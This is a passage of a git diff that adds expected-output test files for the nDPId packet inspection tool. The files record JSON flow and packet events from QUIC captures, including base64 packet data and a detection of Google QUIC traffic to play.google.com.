+02094{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":54226,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"zivom94WClnTQ78JCABFAAUAQSVAAEAR4LMKCQACCgkAAQG7odwE7BkSzf8AABgR9cNSVpuO+PfYTEePbwr8vNYS4JjP5xnPhXULMwsGez9pmn\/bAEB08vJtn2MK0w0qjhJ03vVTgYtHh8rWgjCK0\/iOPjJNYiA390zS\/PjmRm2nEQATlas7gAw\/gtX7TwUBmj9g65kem4AqV+sNdmQesOFCQMCqejyP40\/0ucmlOmZ5VEQsNYunWEdtU2nY168mVPgYwhsg+rIO5SDl\/wAAGBH1w1JWm47499hMR49vCvy81hLgmM\/nGc+FdQszCwZ7P2maf9tEF5lcCw\/YNijk4GgEpeduw\/R06p+RN7GLZm0B438e7FkI8JMQ1Qj2d+NCKwkXj9agw7Zf0PfQzMnlr9o8xgq5t73JJ5hedDpE0z7FEr7Z53hpIb0oidPiQxCzjcxjfTbChLoCQDNa0CwgBTcXj2kLwSCr844scS9t2iOB1I\/GE30SKRTLgEyWom33jGQeTAcwCv6trkpqZiiaXkHShf6dEIfZabrgc6vVp9emYMU1tVf13+lnpfmIVCtIAY3aS8SmAzVz04ts7lvMvExzqxLoWVWh4GAK6n36hee25VKndG4F3vw9qfNynTpnyo7XPEzxijiP1rJorA0ZQxNryNUqTG+nI30CI0y+izZOtmGcKMdAZ2QJwU92M980OZGiQidpur7Elja27B\/KLFz7NV0H2lPDSkxN59ojPSBuQcUV7rnfoXyVSQqiF5b62FN0PW2AErH0eZ63gjHa2is1zm3\/mOwyMzPa35Lig1bumR5iJKhn7YVpj\/GGfsfzsKGDRWGI1IG8da+BoWJZh7NsRBv4UeUPwEvFk5p5Q91TNOXnbsYcjeIPy7QcBJCN4zWMbXtgylO6MmPUJ\/iDAMNbronXeqz5X+FAPTs7skRNu2N9eDT11\/MHPS6pBO3PHswDogAPxCveQ7uekkW1HkSLpgY1M8cTuHpFKKrGRshlUa1faYYtFJQhSMUCjrmb6ODQ4PMLE+AMZP52pB3KTssv\/Ct59WIw3SOMvIJESkENKja8TW76uCC1bKYOF7oHTVw8\/z\/NdZFfUtD86BsrArdCAel8Kjuwzd2YolRKF9jy7CP20UYyFlU7ogvkHKqeGKjuGENINfbToEyE\/ZgKsVcmEQlXBFTw0DKbA2jSdlpeqrF1x7ywKbuSisc79o0+wJHeGucoXVqBuEe0NhntU\/iKxwY+24qCbV\/jjmVJ4xf\/4iYQLQt\/wcyr5i3wv+xDE79uhPiMoJBhUF4E2lUAr0AVECKZDDQuxeahV4GeFHcSA7EmvuHDdCfw2Ex9rO2qMvFuvo+lxXIwLrruf9nFNgMSCcwac6hYwoeCjMdVflC8wpxv2\/yTLUr8Xp7+eiJeLXIsvTpDxbej6lkplAyS5fd\/kvRUCwn+4tzDw+I1Hm0uiTbkh4CYuJ3vq9+RpMl0ykFIRYAPx2Q1RNGzVudf+1vZ+pQf6GyruKxaymBJSUxiCa6gb1OlYXlE0xBl9lNStcRxUnuk1voq6uxiyqtObG\/MRRsvSPKFfpLXodger\/dEWsKlRzMLmZfAjLIbxO5l5D+ynulDSQuCYEcDjuQLw6EFC1sFRue7t+RQjW1kFLR0dP9Qm1an7AYfSV9FATXO0Jpb3JBmXFzZYfVw0WD3UQVDtvIE+dFJZ5U1LLv65MIKjhAuKywLHYYCvTdccQ=="} +00739{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":54327,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"zivom94WClnTQ78JCABFAAEcQSZAAEAR5JYKCQACCgkAAQG7odwBCBUu6f8AABgR9cNSVpuO+PfYTEePbwr8vNYS4JjP5xnPhXULMwsGez9pmn\/bQNTy6AzjD4+wGeZHkmyjJ21sOfVJHi9cE0fqtaLugQr6vrCOZSP41c8HlqGKNHxfKbZitK+HVtQ4s9fN5OHLq0jww3s9QUY5cIkLxVjQwCcGMJpx73hDUyuBlcnPmpSkkEY7nsbHkr9CZKXNywN6c+n+ILwzKxnhuIMxBnlNfXTSAjXlFpFjhJlpIssQpeAFZ1GUw3HtjRpjofuvB\/DBbFMvryhOKdzcrqvU7HWZ2r\/+mtKCw6z29gKwna79b29tiacY4lgIZ+ojwgYJPFEXG+lF0BPzpg=="} +00845{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":54613,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"zivom94WClnTQ78JCABFAAFmQSdAAEAR5EsKCQACCgkAAQG7odwBUhV4XPXDUlabjvj32ExHj28K\/LzWQm\/gDm6bCpn4Yw3JnkhMrwDKMcNjFge0YVq\/o4JBEhP0+IioxxaZ+xPIgo9\/YhzDfQ1OgMs1E9ju4BMSe7Blx4vKvpUHBcv\/4ZdodwA8ICDlNpgZ8OcvlPb+usVHXNo3zb4sSuRardOiTUzd\/RKLcP5GBY9wD7AILuyTOj4jiPOx+qgH0WkQLioEnJS9Gc6\/jF4Nh04oTNV5DrJr\/olKqatia2Fya635KyiQFeUm13MYHRzuFVTPMs60Jl57yi4Nt53FeaOyUcAGIv0NPelX7SJn+KtA7W6PsCbW5wn9GcTDpPhz\/O\/o1yfvy7G+61QYWAU\/4\/LHHgfr0T1oIwIzJcVxD7uUFHeDg\/jnqG1V5+3ZgRhs32SL1sFqshpiQnuxlfJPUqthz38Nee19es1lnW8g0VPKXdTY"} +01055{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":65122,"pkt_caplen":530,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":530,"pkt_l4_len":496,"pkt":"ClnTQ78Jzivom94WCABFAAIE05JAAEARUUIKCQABCgkAAqHcAbsB8BYW5v8AABgS4JjP5xnPhXULMwsGez9pmn\/bEfXDUlabjvj32ExHj28K\/LzWQD0FyjxXFtRYwm7QmmxIp9hdhXeg9GR5oRHQwFYBMHiN1jseaJkG1QbSwO7cH0TTRB1CxbV28PC11S1z5dvjSuCYz+cZz4V1CzMLBns\/aZp\/278jjkiWNL\/SSVBvz+cyIXwEo364Y2w0nXcA6oTgSJioOeo5+zcFwF65MuSdmP+OXYRzZgSztedpDdNrzTgduG5PQEhOXO3ruq3BJagRjc0hNd6QkRYuOynDfBJ3m0fXmvzjgvq\/R5IDWJMin2pm46t11V8iYTsPLRj7AGwvsn8Rhc9PLAEqZJf\/Ju2KJDrLtwjw5umGEN4yHj+TC62Le\/9pOd0kDnZ1JNEPqoPvg8kKjIygv7DmrCPxPlrdh4lf6HQh3Ke6bIb\/jydoRrXIHl6Zc52bgBOoL9GyjAKi8zIf3D0PbxzicvBIoS0VhSSOAEAUGh43pGIaTgjAjZ8MI9C56kyZ5J0voytbS7kSDXZnTlM6xG5kzhf6xQYThIxC14ucRU5vT8uElL3lFBOEh+J9POXVpLvnK9Fdd5py6+rfVT\/2Cxl0dhZgCsbj4+2aPEzxc6BX9LO7\/yQG8DYbuzPXTdtNiPcgAma6fbY="} +01502{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":67427,"pkt_caplen":855,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":855,"pkt_l4_len":821,"pkt":"zivom94WClnTQ78JCABFAANJQSlAAEAR4mYKCQACCgkAAQG7odwDNRdb6f8AABgR9cNSVpuO+PfYTEePbwr8vNYS4JjP5xnPhXULMwsGez9pmn\/bQBZLI2HIvWnmMnhWnkmyJmobRsr6WnJBU\/XDUlabjvj32ExHj28K\/LzW1MQsXWxyC8mDJofBrzWdNwVtwX9ysSqM20g5HX1oOihVKIlfc9rUHhAhipuuZaT00Q6so1gRkxQwyzbkaZqoDhSOEAg3rbyIIue8aHnJdzk6GY7hVZMtTj+nqv9O433sk+4WLizhgSdRnF1UscrI2m87Ls6O3w4o+vVYHyQY+mrjD448uwJR76MWvpcJtKbZbHbHT6cHmbWRjv\/zT\/vbRtI\/PuIuhs0WDXB7FdAgUwJyYk\/2Y6NpTAu6Cu5tBXqjj\/eDNxzvKvlK2N7e8pnRpLJVZHduLndmvLVQTG+EldDkseBpj4ZASswDZDzmj1zSeRRbYXwPUPKmmuHSOBPZssM8bw30sTkSqVICoxzZRMn\/BsI856Nci2WY\/k3\/Vz6sh6YhqsaPs96TYaZpyTbCOrN0EcEinQ5j1an0G92ashmvus16XNAk5Ke5bPOyKXKPTdg54O0Dp7ORYyEDgmyzQZISMVHia5fzXcwiiGSIcWcGnhzsh6i7AhOln+xCvPsXwRs+pwyBK\/RBGamqEvLiEGii9Xp3o3K5uJhVJtLKAwr1gCEHoQuwA4DVUE\/Vu3+\/6P1r031f5eZtRJix16d\/nPGSuQXeSgFE4dtSDll\/5Y16yUNEGuWsIdfL+u7Uz2SENF0nLOEuJBm1wWIuK2otHkb+QG\/HBF9vbZb1HGk5S3WV5TLy\/P9ZZ4Vsfl6uB2EuNIgPaKnfe3o7r7oYo8ypBUuNwDyMgfjPEYjhARt7Ukt84zFDQFYc7YtEXrthljKt6Ky1tCI+OAfXUN2LQ5npYPOgvLCAOJz0XhBTitvGqoOLdKcly4b67fQZJIaGhavIuGVRT\/zmtxFOH8xarrI9\/HpuhbTFJIha+IlAcE5Ghn+ptK+Vt0hafnEMF4waN2rIEntK\/d\/zL\/Sntob7MgTX0Jcg2OG6sRvbUlCD5r1dJ7\/SvvFy6f9WMOWCxrA+UWNUMsQYH2InzU3f"} +00465{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":71893,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"ClnTQ78Jzivom94WCABFAABQ05NAAEARUvUKCQABCgkAAqHcAbsAPBRiSOCYz+cZz4V1CzMLBns\/aZp\/23EVjz0imCXx8OYnKXctvb8rLzZbAbFez4ju92jFoQcQxA=="} +00444{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":72400,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"zivom94WClnTQ78JCABFAABDQSpAAEAR5WsKCQACCgkAAQG7odwALxRVUPXDUlabjvj32ExHj28K\/LzWBC4PA+g7YiXkfiUbWdK7J3eG7xoN"} +00449{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":73671,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ClnTQ78Jzivom94WCABFAABG05RAAEARUv4KCQABCgkAAqHcAbsAMhRYUOCYz+cZz4V1CzMLBns\/aZp\/2z7zc0vp3+LcUiaJlNWy50Jlz5CiYB1w"} +00448{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":73692,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"zivom94WClnTQ78JCABFAABFQStAAEAR5WgKCQACCgkAAQG7odwAMRRXRvXDUlabjvj32ExHj28K\/LzW6q1Ilbkulx8QpPDfCg0ahlH9hGpsv1U="} +00449{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209163,"pkt_ts_usec":81103,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ClnTQ78Jzivom94WCABFAABE3IZAAEARSg4KCQABCgkAAqHcAbsAMBRWReCYz+cZz4V1CzMLBns\/aZp\/25sTROHCqKYw+n6Ol0QxqpRmDt2U2w=="} diff --git a/test/results/quic-27.pcap.out b/test/results/quic-27.pcap.out new file mode 100644 index 000000000..753da66b9 --- /dev/null +++ b/test/results/quic-27.pcap.out @@ -0,0 +1,17 @@ +00516{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-27.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388075915,"flow_last_seen":0,"flow_tot_l4_data_len":1338,"flow_min_l4_data_len":1338,"flow_max_l4_data_len":1338,"flow_avg_l4_data_len":1338,"midstream":0,"l3_proto":"ip6","src_ip":"3ef4:2194:f4a6:3503:40cd:714:57:c4e4","dst_ip":"2f3d:64d1:9d59:549b::200e","src_port":64229,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02233{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388075,"pkt_ts_usec":915836,"pkt_caplen":1392,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1392,"pkt_l4_len":1338,"pkt":"AAAAAAAAAAgA1Oceht1gB9AaBToRPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwU6BFLF\/wAAGwh7p3UKjzv1VgAARSBBNb8rxExjuvv1Ye++hbc9om0DU4NnwSG\/3UebQzKe+\/ChMR6f65IjHiAPoLAAXROmLqaJFJBg9Sjii5GNpIY1s7jLmFqalAiGP2eQLOW5rgxDWycwtAoSDO71eI9T1Uq7EBmGHvnPmeSBFCTAwbphrP9uMLPyAc17USwCikZDlt2XGVMfiXze2ila5iBclIpM\/nqIjbZDUUYzdC34yYbr54VrUe33DQppusK5QzTfqS+3bRJeNmvfVjhputwGoNup+0y7rJDCwpxgcjG0dCKgMjLHOmSc3TOXpHySWsU8YrZhzLttd3CTZRM5WZ+WibgEID8\/Y94\/jmGwbweD3Pfo3Ppwfbm6t+wCItY8yBKRQ+H5v5jedjzP\/LjrRtljajhGcJZd6HJgjueiAiaEAdj7fx0T9yjCxPVImLtLHfXPo558xAwXVU83pzT9xavzftzVp99vYm\/GU\/kg1VYfnH4H1qpMlTlic\/Q6Q8iLnCNGJ9LIhtmYFfunAmiyObADRsU4B6j4HoJX3if+mucsKdp+8N3ugLjM4uwUvOF7XyACDpCZ\/G3\/5X5J\/zKZkqDPUYvuluMsSOj8B9WlMWtbGerp5EjqolIlNnjYomDTKeHIxZZRBaJp\/QOHxqWVWl+MlH9KWaLg+UuJ1tkD\/z7oSb+H1aPInCB0q4IOfY52jC5M0sAyNUCCRYRJtlGM\/qM0P8wM\/vcpX4GIrlML77jxP6dU5SrTUTaXASv8j9337neVie5dGU901jPeI0ibTEPO5jmp5JTAiUrtWT\/OPLGl6+AqDrvj2iLYI6MfHf54Ll0eSJwKxczdOyajjbkW+wF4mDNBcrHs+Iy+NLs84KPkQaEHysgP5fydEh4OpzytKTjbeDrjBTG9KcUWYmBar2q8HpPFclPVfMJzlgzmG1ymiPOmBJDgqQ3ZUM2g855ht6g7tzCMio0LrDHG0qDTQGyGwGnOACHMF4aRlNBHHPXjD0AWFg5ITC\/muG1btVnHCRMRKjcJbcwgB5knd4j3yLyF5jIDRSKNhE6Ac48oXpl\/X8QX7id\/RdTdMTE+I9ImLp3efowsLaCMtmIEe+7JeD8HXS\/DHY7CcQC7QJJxTExlt1pZ1J8VxZQ\/Rin8crO7sCUZAX\/MAmOTczrCmlYKxmfZCym\/VBLaEls1IO\/vlhGhIazJ4ec+unaATLsbpA8gpl3A6fA\/mtphj6B2kmQmdb4PDBkjLGlUB9TA\/hWCdu8okA42ElpefKLs7iaYvj9eGjbpH4CtZIsn81hYHam0KixsLnFD01WT2G3jWF4\/p32XASEAIX2fGqhIl42kT79V0gWU\/zHFYX4d1dqE0R0QvDLgaBR5adJ\/AQSCQX30uHxQBsrPiDAUle40F0f\/CKLbXDtfvQg3i0EyI3KXCW22kEkJyctCWU066Vqsp6MiM5DPCQw20QD2L38WJTrzFxYD7gmCe1AwoQFfD6gqTnrS3Tj0ht5GTD8vsEYZ0oezjMP8XuBMCjClE8hToMxgRyaUKQoJ4zuAen+tMutEa2m48+u5jHJEJljGjHC4LHZWMR3906vXde+zdCg1ShHY11L\/Bz5vKrplIBCiT9vl3ZYNjO6hBlbKS8VP\/yg6gsLQ9AigFTHxstN+VusbiYbo8JJgQWEcDGy2dI9GZZqPmAAFQeJAEQIBnrb965lc\/aHxPwoSZtBKWldoAMiE22ownQezP3boCQ596Xlhlq\/aTLkj8uddR096XdeUuOzAUI7eEPdA9iCr"} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-27.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388075915,"flow_last_seen":0,"flow_tot_l4_data_len":1338,"flow_min_l4_data_len":1338,"flow_max_l4_data_len":1338,"flow_avg_l4_data_len":1338,"midstream":0,"l3_proto":"ip6","src_ip":"3ef4:2194:f4a6:3503:40cd:714:57:c4e4","dst_ip":"2f3d:64d1:9d59:549b::200e","src_port":64229,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"play.google.com","user_agent":"beta Chrome\/84.0.4147.45 Windows NT 10.0; Win64; x64","version":"TLSv1.3","alpn":"h3-27","ja3":"1e022f87823477abd6a79c31d70062d7","tls_supported_versions":"TLSv1.3"}} +02230{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388075,"pkt_ts_usec":921678,"pkt_caplen":1392,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1392,"pkt_l4_len":1338,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAABToROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QU6\/nTM\/wAAGwAIe6d1Co879VYARSBTj79W6cwNvYIa4eRJRqYVEF\/FFQs4\/YFJNsPxXKvEgdRDTO3utbDdVpsr9xE5Fa\/TpG177HOYaSrCAz5Jo2+BV5oFjmMd9bTEkWInl1UOdHKW2niDF5nMaLe02aYd0mp25Hmgx4h+P4ZNUU2g7lMQwO8oh5pyFwebO4ynZaVfKfuvlderCYi9W3A+nCI5swIBOg\/\/GR\/eRpRy+l1xUDMEIkXKJ9xm\/36tgV9mPj+QnGLik9ENPu+ZN+Me0EJ5sHt5U9N9HC21bIxbx2522Px9RzM8EV5k0bNaVeSUX6Kx86PSOGKlOzKToSyBuVcP\/8Y\/pj31FFMn4jXKSKIZkR4jdHKqC8A0U8JWz+lo5qygK0a0s0j3vnz5UfxKqxBqYcCTRyIv0ihPq9lNS2XBnJHxjyGSIIPIjQ8xsASU2vSfjgEk5w8+ci+un+2IlNQ9pkFNXyipoW9wTbokYSnOTxLk6sFfH3dsyfqGWWE1tcdt7fy7oyiEsvZGRhn\/L+h2S5jSKsdHx7NdNgIdO39fvhXOA8HjSqb3VALAtyj6ehundx3BZcRNfsuUa5ZwC219uau0CpTuX2Tcg4sLjnvZG2Lvryln9pXYVKexJ7M82YgjmrH3wKorHuQt5fR9o7MWyn4djeqsrjK1KyRTCzgfjFDh3HyEU84LAmn6y\/vAo6GV5tlhx7mhZNMKhoPxPwLQjI9LlPc\/eMbJSDiPSdtQN0Aka6OS5JgFtfkS4GGEZrqH3Wmy218ogEMrR323mHZfknuU+di+qZFkdH\/EQiWObuHXwvxT+d8mUKnyAB02BTcx6ikllxkk+7Anulz\/alZEZCKgpjN62uDEL1zgUQWaEwOMai6Bq8aLpyIjWmfI3mXlEoQL9YGtvFU3NA0ZJr0FsSmnF79XixoAiidGmVLveJwbz2v70EltiOw6GW4XT1Nx8GJbOHEb4lw8Nf+y1YmbiOSl6N6MqAV+LTudvCC93HluIlhU0E3uX9LGDS+ScDF\/SXTW4zk9DPu\/I2vtwGCJX81Rv1WV8uy3YU63ClpeYXvX7h3rAbpodg\/tjIJpSxX8PbWv2L+X7I9n9ASbVRLPybgw1VXro90q6rMYVQ\/J4rPmhLpWzdEAazqGLHFi9KCGNiyg\/RvVoTwUKLYJ2wN2A7fA5TkKjD7w9oSn095bN7P+h75McGVrIyVqdEh4yuOB+Tvz9c62lXezMJJBw0zLwBGL\/8fc+U1+0HGaZ8c8r\/a9gzaAu\/1hL\/GX6BDxGvNlvCbNJSR7uYc+tLK+p8LJwdEE6O1NRlrVaqPbBG+gZN39wLrBIi\/4C1PvaV8uwXWpwJT4\/2iKYJmYuzWYHqOYb26qPVfaWtKa8zR+ytS6h93OrCLmPemuHc\/JEUEpO0dp8igHMSUL1C+oRr6S3mhQFj3DoLOC25YV2Nz23shcZvt4jUGqP33atbdN9fs6Z6FU668dqDsydPhc\/SLsWEHLNI2dYaUpYVsKq4rnVyNmOwE\/6yXFioayjL1rahnUdwSUA+95p6JoySDTBjZ0UNSLSl7C2+U5OFwI7ckGRhoW0KKahovJhm17+fTYxdp+9HuvzWSSUY0fZvLQBV7yxLsR4PcQVPaqkZsrRSNzLBu5zsWgsJ7iTP5Pui\/izmglDfXm4vEH6laDbuG6URrQ7dv3yhcwEz\/QEq4E36vx+7mzPgws4U6N6vHcQkT\/3gkAaI1tEvZMgcRaUphUC3VFG3nl7XwQxFcW31F+TgbWi2aESvVU"} +02226{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388075,"pkt_ts_usec":957479,"pkt_caplen":1392,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1392,"pkt_l4_len":1338,"pkt":"AAAAAAAAAAgA1Oceht1gB9AaBToRPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwU6q+fA\/wAAGwh7p3UKjzv1VgAARSD7U2hL0O88k3UZXjUbrBBd+WZB0UG\/j7758xlBZzizfYUS+JxzLcKYGo8WQzFU7GyiuzvE8f9eov2KYsEVwanC7Vc9pLDljUq9fi2hrf+FzyyRcUlliaDQXxX7n1Ivm9KRXOqnnKdmfHVEvBFAffLmUIXWbO+YgkFjGfD8GnPXDCrAqvwlSSmWge5izab1xOS9Wo1XnWifp0lpGLQpE1MqqxNhBIDxbfaVbjuMEAWyrxRLEqh16GZ0\/jsodxxqlZew4w347xtEtqPzlLyHr4poFBV0Y0YYyCJ1yuoIhaXm+33Z+1T2cYWE7O6I9WEk+mBcGSHxZEZP4CaDr0T3d2jgKsNoKY7bkKT1W4j+vuMJDFuHBaV9SRkGAElCQfGPawy8Ys82dsHnmEEyzp8V6ce7FzsZZVA9JPutVgoejftdzH\/RLPkp8RBEvUi+HMOKcmfLfnWgmtZUoG2P5WRsd4keUAJzFzPu8JDFkn8Qz7I2ryzN2cOlRhia\/jz4PgIUt+4ZQKXncNfyTzS2OteWVaV9zMESXfyvD0pVAT08qEHRc6laTl0ufuUQBtHn5CKjoJYFHspiVeCiJegPMoj4HilpDrhpSZdELNW8O6lX\/+Ya\/E5+xP\/XiQg9mVqUhmMopCMRpiLIe2Y5jGt3vKxJGa5gox\/Ao+2MtfZQZSIoFcP8KluOAfCrb5sGinc+sTc+ZKeAOQmz2FRpTh4fxO1mAo2o9ZJLguqcLrOlyxUUSOHnuLgNLS7XObH1LUUip1vPpeYTmlqzrANNh9EYL2PlIErptyjoZYKQJ8rGcKFCKO11+88Wp\/LRi79APRPkY6RnAKucyRnsrN5ZraDdPgKee842vxIdbP4CvpQKByezNr0Y4u9e5janU208elx\/zNNPzGR9+gsEJIstRXxFey8H0re4AXkIgXjqAReUAEftPwSWT1yW9+jva9RQbrdrR5MlklIvCCr\/7U5+3OUw9\/43s\/O3pgzG2DXT5bg3D27JwIW8euuy95GFovl\/nwOfDJmNLw18bQ3hbUqIFcvmzSmF4CVgS8f8nD5zXQn0Y6t6H\/0dRw6m\/fNV\/hHkJp2gXqQ7165w9HG2aJNS+9mCFSeYNr4H2pXUCnIsj\/Pby8rM4BOGLZX6zg3e6S5gFfYBAXTKRGfLDh+HC8x9D89XnWP0cyQWheKUU2YWacOr4WVE0zJK4qj2v39Y03nQgSY7Oa54R2PRMjuzzTSkaITdQ1fo\/eapkrPXa1eGFgwwF6EMe47fkokLHjscKhQ9hUwVD1WZo132hEoWEgCk6GBm9kpFczYiEdZUPhpULGvCKI1iCSBgMjY4vkSPjkj\/CUDk9lkmQxFPWmRRIn5bNqB\/16pGMD5AZgW1l2kOJo5CYfNF1x84eGg+l3fSTIrHWDb7BvF8kmCbEpzK5xtWGHGjxOpk\/7a+pTOyHHSCngxZDzPdni8BcsxtcevFPBg2cOlxb2H\/0wK6HxkRNoGyDH5CwTV\/9XVHoipCcVdCRMqh2JweXzA8wyDxryIMQur2tx3A0CW64wtn\/h7BSyKnDTRXR1V+Wa7DymTTmnRiQ6l5f3ecwcceih\/JZP\/GSUvQLB1MZBKOprH4Whg11Rc2g4AjShZ7+YxYeeQtOgNFCRS53FA6JbVYqDpNySia3zORBhbds4Rqs3FtKCEuzx1fAYtgyzWdf8adqeSwRKSlOPPdqsVh5zsBNqK4beqT9\/RPVDkfR2bjUTRJesgqyVO6iWDbnnnAdtd3"} +02219{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":28071,"pkt_caplen":1392,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1392,"pkt_l4_len":1338,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAABToROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QU6ViHv\/wAAGwAIe6d1Co879VZFIRhTciPGRElj\/q2UJV8WLuy+v+X6eYq5nfLS\/1g27PmgUSjybm5KzQzU1ILEhmniPOAZEvqheEyUNT3LDVYKkiUNtyVizLS+ix05UKwF9ULcCkrPIH2L1yPWwyFY4cNmCg5gqYtxA3Cd8FBtd7huXtciiCUG3GeekKTzDtj3mZ+8a9Kr7COQN+1+KOPGR1jsFDY8WBXFdrZD5ySECX4kUsUr19bjb\/U5cZvpbI9cdcp5bwfzrC2mH6vd4a7R7sGpYQC\/LmTmcUYGX34JRALcKFzBObhoO2vaDi7novDaIcCjAgVKgIi2QDsp0UHLCVfN6EaAaXbvuQGWGiPLw9zau68I+RrJ6y0kJVxIbdnl\/EUZWmki\/uzG7tgnHXtuPP4eyAbjSMJ0hjsteGZnRo8ugg1QBkP3BhHBIDcYpS7Rg5p+Q87bHy7pRrvmcYBKovHJI1C9UPa2SFGuec7pa\/6HIeRhWWTMUnz\/ZwqGW8sEZEBwfq8qOUwgi\/B\/AddMPb0L8G7SIQ6+A8kHT0aXnCw79xDImZQvGx+xV4Q8IQAkfmLfJgljliS\/pFSe7vKQTDUfFC487WlTMSbh8p4v14NGz4\/+IbJnlPne+z3aiBWY4W5BT+eNpvI1FrAsB6dTWYb1WMRGu+babBDC7DyDPqG37z1zhaan\/jgx4fju6203mIVVCgDDa4YMwuMWuzKcp++h85i7nfzPqf7Wk8JcZqDZQ7\/7XjA0cDDeckdiS7HK2HclGO5lmUAmfBv6xhN3kqSBMN6IqsmjPmE60BN1fOygdU+Te\/f2Zs3Hxj7prJm6c8So+FZaiXzdcjyeQIKQ7Qv7uvRxvkajwom8lMmtPepS8E1yN2bhced3EHv6plGn43Vp+3XSbgOKY9S2AogFV857hcfhi+38yUYhyudlbkP279FCQJSOQonnRS8vvcxIp1D3jJKLwM7lBzaN71oIr+jZYmimJVYS+TZyf2NTpdZEOqUdfyfjGsgBeO+zxCodqOAYfcQN6t\/ocUaCgoHwIrFh0DNA8BNDZ3BGw